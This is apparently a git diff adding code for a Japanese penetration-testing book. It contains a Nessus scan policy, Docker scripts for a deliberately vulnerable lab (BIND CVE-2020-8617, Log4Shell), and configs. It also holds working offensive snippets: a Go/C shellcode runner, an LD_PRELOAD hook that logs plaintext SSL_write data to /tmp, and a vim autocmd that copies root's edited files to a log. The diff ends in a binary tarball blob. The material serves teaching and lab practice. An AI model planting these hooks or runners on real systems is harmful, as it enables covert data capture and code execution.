+Nutanix Settings[checkbox]:Auto Discover Managed Virtual Machines : +checkbox +Auto Discover Managed Virtual Machines : +yes + + +160184 +Nutanix Settings +Nutanix Settings[checkbox]:Auto Discover Managed Nutanix Hosts : +checkbox +Auto Discover Managed Nutanix Hosts : +yes + + +160184 +Nutanix Settings +Nutanix Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +no + + +160184 +Nutanix Settings +Nutanix Settings[checkbox]:SSL : +checkbox +SSL : +yes + + +160184 +Nutanix Settings +Nutanix Settings[password]:Nutanix password : +password +Nutanix password : + + + + +160184 +Nutanix Settings +Nutanix Settings[entry]:Nutanix username : +entry +Nutanix username : + + + + +160184 +Nutanix Settings +Nutanix Settings[entry]:Nutanix port : +entry +Nutanix port : +9440 + + +160184 +Nutanix Settings +Nutanix Settings[entry]:Nutanix host : +entry +Nutanix host : + + + + +160247 +Patch Management: HCL BigFix Server Settings +Patch Management: HCL BigFix Server Settings[checkbox]:HCL BigFix Verify SSL Certificate : +checkbox +HCL BigFix Verify SSL Certificate : +no + + +160247 +Patch Management: HCL BigFix Server Settings +Patch Management: HCL BigFix Server Settings[checkbox]:HCL BigFix SSL : +checkbox +HCL BigFix SSL : +no + + +160247 +Patch Management: HCL BigFix Server Settings +Patch Management: HCL BigFix Server Settings[password]:HCL BigFix Web Reports Password : +password +HCL BigFix Web Reports Password : + + + + +160247 +Patch Management: HCL BigFix Server Settings +Patch Management: HCL BigFix Server Settings[entry]:HCL BigFix Web Reports Username : +entry +HCL BigFix Web Reports Username : + + + + +160247 +Patch Management: HCL BigFix Server Settings +Patch Management: HCL BigFix Server Settings[entry]:HCL BigFix Web Reports Port : +entry +HCL BigFix Web Reports Port : + + + + +160247 +Patch Management: HCL BigFix Server Settings +Patch Management: HCL BigFix Server Settings[entry]:HCL BigFix Web Reports Server : +entry +HCL BigFix Web Reports Server : + + + + +161407 +OpenShift Settings +OpenShift Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +yes + + +161407 +OpenShift Settings +OpenShift Settings[checkbox]:SSL : +checkbox +SSL : +yes + + +161407 +OpenShift Settings +OpenShift Settings[entry]:Port : +entry +Port : +6443 + + +161407 +OpenShift Settings +OpenShift Settings[entry]:Service Account Token : +entry +Service Account Token : + + + + +163518 +Zoom Settings +Zoom Settings[password]:Client Secret +password +Client Secret + + + + +163518 +Zoom Settings +Zoom Settings[entry]:Account ID +entry +Account ID + + + + +163518 +Zoom Settings +Zoom Settings[entry]:Client ID +entry +Client ID + + + + +165066 +LDAP Active Directory - Identity Data Enumeration (deprecated) +LDAP Active Directory - Identity Data Enumeration (deprecated)[checkbox]:Collect Identity Data from Active Directory +checkbox +Collect Identity Data from Active Directory +no + + +166551 +Splunk API Settings +Splunk API Settings[checkbox]:Verify SSL Certificate : +checkbox +Verify SSL Certificate : +yes + + +166551 +Splunk API Settings +Splunk API Settings[checkbox]:SSL : +checkbox +SSL : +yes + + +166551 +Splunk API Settings +Splunk API Settings[entry]:Port : +entry +Port : +8089 + + +166551 +Splunk API Settings +Splunk API Settings[password]:Password : +password +Password : + + + + +166551 +Splunk API Settings +Splunk API Settings[entry]:Username : +entry +Username : + + + + +167250 +LDAP Active Directory - Person Enumeration +LDAP Active Directory - Person Enumeration[checkbox]:Collect Identity Data from Active Directory +checkbox +Collect Identity Data from Active Directory +no + + +167251 +LDAP Active Directory - Group Enumeration +LDAP Active Directory - Group Enumeration[checkbox]:Collect Identity Data from Active Directory +checkbox +Collect Identity Data from Active Directory +no + + +167252 +LDAP Active Directory - Computer Enumeration +LDAP Active Directory - Computer Enumeration[checkbox]:Collect Identity Data from Active Directory +checkbox +Collect Identity Data from Active Directory +no + + +168912 +LDAP Active Directory - trustedDomain Enumeration +LDAP Active Directory - trustedDomain Enumeration[checkbox]:Collect Identity Data from Active Directory +checkbox +Collect Identity Data from Active Directory +no + + + + +template_policy +yes + + +wizard_uuid +731a8e52-3ea6-a291-ec0a-d2ff0619c19d7bd788d6be818b65 + + +local_portscan.snmp +yes + + +portscan.ping +yes + + +local_portscan.netstat_wmi +yes + + +port_range +T:1-65535,U:7,9,17,19,49,53,67-69,80,88,111,120,123,135-139,158,161-162,177,427,443,445,497,500,514-515,518,520,593,623,626,631,996-999,1022-1023,1025-1030,1433-1434,1645-1646,1701,1718-1719,1812-1813,1900,2000,2048-2049,2222-2223,3283,3456,3703,4444,4500,5000,5060,5353,5632,9200,10000,17185,20031,30718,31337,32768-32769,32771,32815,33281,49152-49154,49156,49181-49182,49185-49186,49188,49190-49194,49200-49201,65024 + + +plugin_selection.individual_plugin.34220 +enabled + + +reverse_lookup +no + + +network_scanners.udp +no + + +scan.allow_multi_target +no + + +slice_network_addresses +no + + +checks_read_timeout +5 + + +plugin_selection.individual_plugin.34277 +disabled + + +stop_scan_on_disconnect +yes + + +name +for-pentest-book + + +local_portscan.netstat_ssh +yes + + +silent_dependencies +yes + + +reduce_connections_on_congestion +yes + + +plugin_selection.individual_plugin.14272 +enabled + + +discovery_mode +custom + + +plugin_selection.individual_plugin.11219 +enabled + + +oracle_database_use_detected_sids +no + + +allow_post_scan_editing +yes + + +Test DTLS based services +None + + +max_checks +5 + + +max_hosts +30 + + +service_detection.search_for_ssl +yes + + +assessment_mode +custom + + +advanced_mode +custom + + +network_scanners.syn +yes + + +log_whole_attack +no + + +plugin_selection.individual_plugin.14274 +enabled + + +unscanned_closed +no + + +audit_trail +use_scanner_default + + +Test SSL based services +All ports + + +scan.enable_utf8_output +no + + +auto_accept_disclaimer +yes + + +safe_checks +yes + + +plugin_selection.individual_plugin.10180 +enabled + + +include_kb_in_results +use_scanner_default + + +description + + + + +Global variable settings[checkbox]:Always log SSH commands +no + + +SMB User Enumeration[checkbox]:ADSI +yes + + +Global variable settings[checkbox]:Host tagging +yes + + +Login configurations[checkbox]:Start the server service during the scan +no + + +SMB User Enumeration[checkbox]:RID +no + + +SMB User Enumeration[checkbox]:WMI +yes + + +Global variable settings[radio]:Debug level +1 + + +SMB User Enumeration[checkbox]:SAMR +yes + + +SSH settings[checkbox]:attempt_least_privilege +no + + + + + +SMTP problems +enabled + + +Rocky Linux Local Security Checks +enabled + + +Backdoors +enabled + + +Ubuntu Local Security Checks +enabled + + +RPC +enabled + + +Gentoo Local Security Checks +enabled + + +Oracle Linux Local Security Checks +enabled + + +Gain a shell remotely +enabled + + +Service detection +enabled + + +DNS +enabled + + +Mandriva Local Security Checks +enabled + + +Junos Local Security Checks +enabled + + +Misc. +enabled + + +FTP +enabled + + +Slackware Local Security Checks +enabled + + +Default Unix Accounts +enabled + + +AIX Local Security Checks +enabled + + +SNMP +enabled + + +OracleVM Local Security Checks +enabled + + +CGI abuses +enabled + + +Settings +enabled + + +CISCO +enabled + + +Tenable.ot +disabled + + +Firewalls +enabled + + +Databases +enabled + + +Debian Local Security Checks +enabled + + +Fedora Local Security Checks +enabled + + +Netware +enabled + + +Huawei Local Security Checks +enabled + + +Windows : User management +enabled + + +VMware ESX Local Security Checks +enabled + + +Virtuozzo Local Security Checks +enabled + + +CentOS Local Security Checks +enabled + + +Peer-To-Peer File Sharing +enabled + + +NewStart CGSL Local Security Checks +enabled + + +MarinerOS Local Security Checks +enabled + + +General +enabled + + +Policy Compliance +disabled + + +Amazon Linux Local Security Checks +enabled + + +Solaris Local Security Checks +enabled + + +F5 Networks Local Security Checks +enabled + + +Denial of Service +enabled + + +Windows : Microsoft Bulletins +enabled + + +SuSE Local Security Checks +enabled + + +Palo Alto Local Security Checks +enabled + + +Port scanners +mixed + + +Mobile Devices +enabled + + +Alma Linux Local Security Checks +enabled + + +Red Hat Local Security Checks +enabled + + +PhotonOS Local Security Checks +enabled + + +HP-UX Local Security Checks +enabled + + +CGI abuses : XSS +enabled + + +FreeBSD Local Security Checks +enabled + + +Windows +enabled + + +Scientific Linux Local Security Checks +enabled + + +MacOS X Local Security Checks +enabled + + +Web Servers +enabled + + +SCADA +enabled + + +for-pentest-book + + +Netstat Portscanner (WMI) +enabled +Port scanners +34220 + + +Netstat Portscanner (SSH) +enabled +Port scanners +14272 + + +Nessus SYN scanner +enabled +Port scanners +11219 + + +Ping the remote host +enabled +Port scanners +10180 + + + + \ No newline at end of file diff --git a/code/chapter05/shellcode-runner.go b/code/chapter05/shellcode-runner.go new file mode 100644 index 0000000..c303993 --- /dev/null +++ b/code/chapter05/shellcode-runner.go @@ -0,0 +1,46 @@ +//go:build linux + +package main + +/* +#include +#include +#include +#include + +void call(char *shellcode, size_t length) { + if(fork()) { + return; + } + unsigned char *memory; + memory = (unsigned char *) mmap(0, length, \ + PROT_READ|PROT_WRITE|PROT_EXEC, \ + MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); + if(memory == MAP_FAILED) { + perror("mmap"); + return; + } + memcpy(memory, shellcode, length); + ( *(void(*) ()) memory)(); +} +*/ +import "C" +import ( + "encoding/hex" + "unsafe" +) + +func main() { + shellCodeStr := "16進数文字列のシェルコードを入力" + shellCodeBin, err := hex.DecodeString(shellCodeStr) + if err != nil { + return + } + + run(shellCodeBin) +} + +func run(shellCodeBin []byte) { + C.call((*C.char)(unsafe.Pointer(&shellCodeBin[0])), + (C.size_t)(len(shellCodeBin))) +} \ No newline at end of file diff --git a/code/chapter06/config b/code/chapter06/config new file mode 100644 index 0000000..c833a2b --- /dev/null +++ b/code/chapter06/config @@ -0,0 +1,4 @@ +Host * + ControlPath ~/.ssh/%r@%h:%p + ControlMaster auto + ControlPersist 10m \ No newline at end of file diff --git a/code/chapter06/libsniffer.c b/code/chapter06/libsniffer.c new file mode 100644 index 0000000..6462de0 --- /dev/null +++ b/code/chapter06/libsniffer.c @@ -0,0 +1,12 @@ +#include +#include +#include + +int SSL_write(SSL *ssl, const void *buf, int num) { + int (*ssl_write)(SSL *ssl, const void *buf, int num); + ssl_write = dlsym(RTLD_NEXT, "SSL_write"); + FILE *logfile = fopen("/tmp/ssl_hook_log", "a+"); + fprintf(logfile, "%s\n", (char *)buf); + fclose(logfile); + return ssl_write(ssl, buf, num); +} \ No newline at end of file diff --git a/code/chapter06/settings.vim b/code/chapter06/settings.vim new file mode 100644 index 0000000..c2069dc --- /dev/null +++ b/code/chapter06/settings.vim @@ -0,0 +1,3 @@ +:if $USER == "root" +:autocmd BufWritePost * :silent :w! >> /tmp/log.txt +:endif \ No newline at end of file diff --git a/code/exec-pentester-bash.ps1 b/code/exec-pentester-bash.ps1 new file mode 100755 index 0000000..4de2dd9 --- /dev/null +++ b/code/exec-pentester-bash.ps1 @@ -0,0 +1,3 @@ +#/usr/bin/env pwsh + +docker exec -it pentest-book-pentester /bin/bash \ No newline at end of file diff --git a/code/exec-pentester-bash.sh b/code/exec-pentester-bash.sh new file mode 100755 index 0000000..8196cd8 --- /dev/null +++ b/code/exec-pentester-bash.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +docker exec -it pentest-book-pentester /bin/bash diff --git a/code/remove-all-images-and-containers.ps1 b/code/remove-all-images-and-containers.ps1 new file mode 100755 index 0000000..0e886f7 --- /dev/null +++ b/code/remove-all-images-and-containers.ps1 @@ -0,0 +1,4 @@ +#/usr/bin/env pwsh + +docker rm pentest-book-bind pentest-book-nginx pentest-book-pentester pentest-book-postgres pentest-book-ssh pentest-book-log4j +docker rmi containers-bind containers-nginx containers-pentester containers-postgres containers-ssh containers-log4j \ No newline at end of file diff --git a/code/remove-all-images-and-containers.sh b/code/remove-all-images-and-containers.sh new file mode 100755 index 0000000..4ae3f7a --- /dev/null +++ b/code/remove-all-images-and-containers.sh @@ -0,0 +1,4 @@ +#!/bin/sh + +docker rm pentest-book-bind pentest-book-nginx pentest-book-pentester pentest-book-postgres pentest-book-ssh pentest-book-log4j +docker rmi containers-bind containers-nginx containers-pentester containers-postgres containers-ssh containers-log4j \ No newline at end of file diff --git a/code/restart-all-containers.ps1 b/code/restart-all-containers.ps1 new file mode 100755 index 0000000..487c741 --- /dev/null +++ b/code/restart-all-containers.ps1 @@ -0,0 +1,3 @@ +#/usr/bin/env pwsh + +docker start pentest-book-bind pentest-book-nginx pentest-book-pentester pentest-book-postgres pentest-book-ssh pentest-book-log4j \ No newline at end of file diff --git a/code/restart-all-containers.sh b/code/restart-all-containers.sh new file mode 100755 index 0000000..f0ab4eb --- /dev/null +++ b/code/restart-all-containers.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +docker start pentest-book-bind pentest-book-nginx pentest-book-pentester pentest-book-postgres pentest-book-ssh pentest-book-log4j \ No newline at end of file diff --git a/code/stop-all-containers.ps1 b/code/stop-all-containers.ps1 new file mode 100755 index 0000000..f96c54d --- /dev/null +++ b/code/stop-all-containers.ps1 @@ -0,0 +1,3 @@ +#/usr/bin/env pwsh + +docker stop pentest-book-bind pentest-book-nginx pentest-book-pentester pentest-book-postgres pentest-book-ssh pentest-book-log4j \ No newline at end of file diff --git a/code/stop-all-containers.sh b/code/stop-all-containers.sh new file mode 100755 index 0000000..49c030d --- /dev/null +++ b/code/stop-all-containers.sh @@ -0,0 +1,3 @@ +#!/bin/sh + +docker stop pentest-book-bind pentest-book-nginx pentest-book-pentester pentest-book-postgres pentest-book-ssh pentest-book-log4j \ No newline at end of file diff --git a/containers/README.md b/containers/README.md new file mode 100644 index 0000000..347f4f7 --- /dev/null +++ b/containers/README.md @@ -0,0 +1,27 @@ +# 演習環境 +本書では、演習にDockerコンテナを用います。 + +## 動かし方 + +``` +$ docker compose up -d +``` + +## 各コンテナの情報 + +|概要 |IPアドレス | +|:-- |:-- | +|BINDサーバ |10.8.9.2 | +|nginxサーバ |10.8.9.3 | +|PostgreSQLサーバ |10.8.9.4 | +|SSHサーバ |10.8.9.5 | +|Log4jサーバ |10.8.9.6 | +|ペンテスターの端末を模したコンテナ |10.8.9.7 | + + +## 謝辞 +次のリポジトリを演習環境で使用させていただいております。 +この場を借りてお礼申し上げます。 + +- https://github.com/knqyf263/CVE-2020-8617 +- https://github.com/christophetd/log4shell-vulnerable-app \ No newline at end of file diff --git a/containers/bind/Dockerfile b/containers/bind/Dockerfile new file mode 100644 index 0000000..4448980 --- /dev/null +++ b/containers/bind/Dockerfile @@ -0,0 +1,46 @@ +# Forking https://github.com/knqyf263/CVE-2020-8617 +FROM centos:7 + +# Install necessary packages +RUN yum -y update \ + && yum -y groupinstall "Development Tools" \ + && yum install -y epel-release \ + && yum -y install kernel-devel kernel-headers openssl-devel perl-Net-DNS bind-utils vim tar python-pip \ + && pip install argparse ply + +# Install BIND9 from source +COPY bind/src/bind-9.12.4.tar.gz /usr/local/src/bind-9.12.4.tar.gz +RUN cd /usr/local/src && \ + tar zxvf bind-9.12.4.tar.gz && \ + mv bind-9.12.4 bind && \ + rm bind-9.12.4.tar.gz +RUN cd /usr/local/src/bind && \ + ./configure --enable-syscalls --prefix=/var/named/chroot --enable-threads --with-openssl=yes --enable-openssl-version-check --enable-ipv6 --disable-linux-caps && \ + chown -R root:root /usr/local/src/bind && \ + make && \ + make install + +# Create device files +RUN mkdir /var/named/chroot/dev && \ + mknod -m 666 /var/named/chroot/dev/null c 1 3 && \ + mknod -m 666 /var/named/chroot/dev/random c 1 8 + +# Create rndc key +RUN /var/named/chroot/sbin/rndc-confgen -a + +RUN mkdir /var/named/chroot/data && \ + mkdir /var/named/chroot/var/log && \ + mkdir /var/named/chroot/var/named + +# COPY files +COPY bind/config/named.root /var/named/chroot/var/named/named.root +COPY bind/config/named.conf /var/named/chroot/etc/named.conf +COPY bind/config/named /etc/sysconfig/named +COPY bind/config/example.com.zone /var/named/chroot/var/named/example.com.zone + +# Create symbolic link +RUN ln -s /var/named/chroot/etc/rndc.key /etc/rndc.key && \ + ln -s /var/named/chroot/etc/named.conf /etc/named.conf + +CMD ["/var/named/chroot/sbin/named", "-g", "-t", "/var/named/chroot", "-c", "/etc/named.conf"] + diff --git a/containers/bind/config/example.com.zone b/containers/bind/config/example.com.zone new file mode 100644 index 0000000..ef90c71 --- /dev/null +++ b/containers/bind/config/example.com.zone @@ -0,0 +1,20 @@ +$ORIGIN example.com. +$TTL 3600 ; 1 hour +@ IN SOA ns1.example.com. postmaster.example.com. ( + 2015012902 ; serial + 3600 ; refresh (1 hour) + 1200 ; retry (20 min.) + 1209600 ; expire (2 weeks) + 900 ; minimum (15 min.) + ) +@ IN NS ns1.example.com. +@ IN NS ns2.example.com. +@ IN MX 10 mail.example.com. +@ IN TXT "v=spf1 mx ~all" ; TXT +@ IN SPF "v=spf1 mx ~all" ; SPF + +ns1 IN A 192.168.1.2 +ns2 IN A 192.168.1.3 +mail IN A 192.168.1.4 +host1 IN A 192.168.1.5 +www IN CNAME host1 diff --git a/containers/bind/config/named b/containers/bind/config/named new file mode 100644 index 0000000..1cfbfdd --- /dev/null +++ b/containers/bind/config/named @@ -0,0 +1,2 @@ +ROOTDIR=/var/named/chroot +OPTIONS=-4 diff --git a/containers/bind/config/named.conf b/containers/bind/config/named.conf new file mode 100644 index 0000000..8c29343 --- /dev/null +++ b/containers/bind/config/named.conf @@ -0,0 +1,79 @@ +Controls { + inet 127.0.0.1 + allow { localhost; } + keys { rndc-key; }; +}; + +include "/etc/rndc.key"; + +acl "internal-network" { + 10.8.9.0/24; +}; + +options { + version "unknown"; + hostname "ns1.test.example.com"; + + directory "/var/named"; + dump-file "/data/cache_dump.db"; + statistics-file "/data/named_status.dat"; + pid-file "/var/run/named/named.pid"; + + listen-on port 53 { + internal-network; + }; + + allow-query { internal-network; }; + + recursion yes; + allow-recursion { internal-network; }; + + notify yes; + max-transfer-time-in 60; + transfer-format many-answers; + transfers-in 10; + transfers-per-ns 2; + allow-transfer { none; }; + allow-update { none; }; + + nxdomain-redirect signed; +}; + +logging { + channel "log_default"{ + file "/var/log/named.log" versions 5 size 5m; + print-time yes; + severity info; + print-category yes; + }; + channel "alert" { + file "/var/log/alert.log" versions 8 size 4m; + severity info; + print-time yes; + print-severity yes; + print-category yes; + }; + channel "query" { + file "/var/log/query.log" versions 8 size 50m; + severity debug; + print-time yes; + print-severity yes; + print-category yes; + }; + + category default {"log_default";}; + category security {"alert";}; + category queries {"query";}; + category lame-servers { null; }; +}; + +zone "." IN { + type hint; + file "named.root"; +}; + +zone "example.com." IN { + type master; + file "example.com.zone"; + allow-update { none; }; +}; diff --git a/containers/bind/config/named.root b/containers/bind/config/named.root new file mode 100644 index 0000000..5905f8d --- /dev/null +++ b/containers/bind/config/named.root @@ -0,0 +1,92 @@ +; This file holds the information on root name servers needed to +; initialize cache of Internet domain name servers +; (e.g. reference this file in the "cache . " +; configuration file of BIND domain name servers). +; +; This file is made available by InterNIC +; under anonymous FTP as +; file /domain/named.cache +; on server FTP.INTERNIC.NET +; -OR- RS.INTERNIC.NET +; +; last update: June 14, 2023 +; related version of root zone: 2023061402 +; +; FORMERLY NS.INTERNIC.NET +; +. 3600000 NS A.ROOT-SERVERS.NET. +A.ROOT-SERVERS.NET. 3600000 A 198.41.0.4 +A.ROOT-SERVERS.NET. 3600000 AAAA 2001:503:ba3e::2:30 +; +; FORMERLY NS1.ISI.EDU +; +. 3600000 NS B.ROOT-SERVERS.NET. +B.ROOT-SERVERS.NET. 3600000 A 199.9.14.201 +B.ROOT-SERVERS.NET. 3600000 AAAA 2001:500:200::b +; +; FORMERLY C.PSI.NET +; +. 3600000 NS C.ROOT-SERVERS.NET. +C.ROOT-SERVERS.NET. 3600000 A 192.33.4.12 +C.ROOT-SERVERS.NET. 3600000 AAAA 2001:500:2::c +; +; FORMERLY TERP.UMD.EDU +; +. 3600000 NS D.ROOT-SERVERS.NET. +D.ROOT-SERVERS.NET. 3600000 A 199.7.91.13 +D.ROOT-SERVERS.NET. 3600000 AAAA 2001:500:2d::d +; +; FORMERLY NS.NASA.GOV +; +. 3600000 NS E.ROOT-SERVERS.NET. +E.ROOT-SERVERS.NET. 3600000 A 192.203.230.10 +E.ROOT-SERVERS.NET. 3600000 AAAA 2001:500:a8::e +; +; FORMERLY NS.ISC.ORG +; +. 3600000 NS F.ROOT-SERVERS.NET. +F.ROOT-SERVERS.NET. 3600000 A 192.5.5.241 +F.ROOT-SERVERS.NET. 3600000 AAAA 2001:500:2f::f +; +; FORMERLY NS.NIC.DDN.MIL +; +. 3600000 NS G.ROOT-SERVERS.NET. +G.ROOT-SERVERS.NET. 3600000 A 192.112.36.4 +G.ROOT-SERVERS.NET. 3600000 AAAA 2001:500:12::d0d +; +; FORMERLY AOS.ARL.ARMY.MIL +; +. 3600000 NS H.ROOT-SERVERS.NET. +H.ROOT-SERVERS.NET. 3600000 A 198.97.190.53 +H.ROOT-SERVERS.NET. 3600000 AAAA 2001:500:1::53 +; +; FORMERLY NIC.NORDU.NET +; +. 3600000 NS I.ROOT-SERVERS.NET. +I.ROOT-SERVERS.NET. 3600000 A 192.36.148.17 +I.ROOT-SERVERS.NET. 3600000 AAAA 2001:7fe::53 +; +; OPERATED BY VERISIGN, INC. +; +. 3600000 NS J.ROOT-SERVERS.NET. +J.ROOT-SERVERS.NET. 3600000 A 192.58.128.30 +J.ROOT-SERVERS.NET. 3600000 AAAA 2001:503:c27::2:30 +; +; OPERATED BY RIPE NCC +; +. 3600000 NS K.ROOT-SERVERS.NET. +K.ROOT-SERVERS.NET. 3600000 A 193.0.14.129 +K.ROOT-SERVERS.NET. 3600000 AAAA 2001:7fd::1 +; +; OPERATED BY ICANN +; +. 3600000 NS L.ROOT-SERVERS.NET. +L.ROOT-SERVERS.NET. 3600000 A 199.7.83.42 +L.ROOT-SERVERS.NET. 3600000 AAAA 2001:500:9f::42 +; +; OPERATED BY WIDE +; +. 3600000 NS M.ROOT-SERVERS.NET. +M.ROOT-SERVERS.NET. 3600000 A 202.12.27.33 +M.ROOT-SERVERS.NET. 3600000 AAAA 2001:dc3::35 +; End of file \ No newline at end of file diff --git a/containers/bind/src/bind-9.12.4.tar.gz b/containers/bind/src/bind-9.12.4.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..a685866b9c06be0d042b9316f54f092ebedd72af GIT binary patch literal 7936647 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 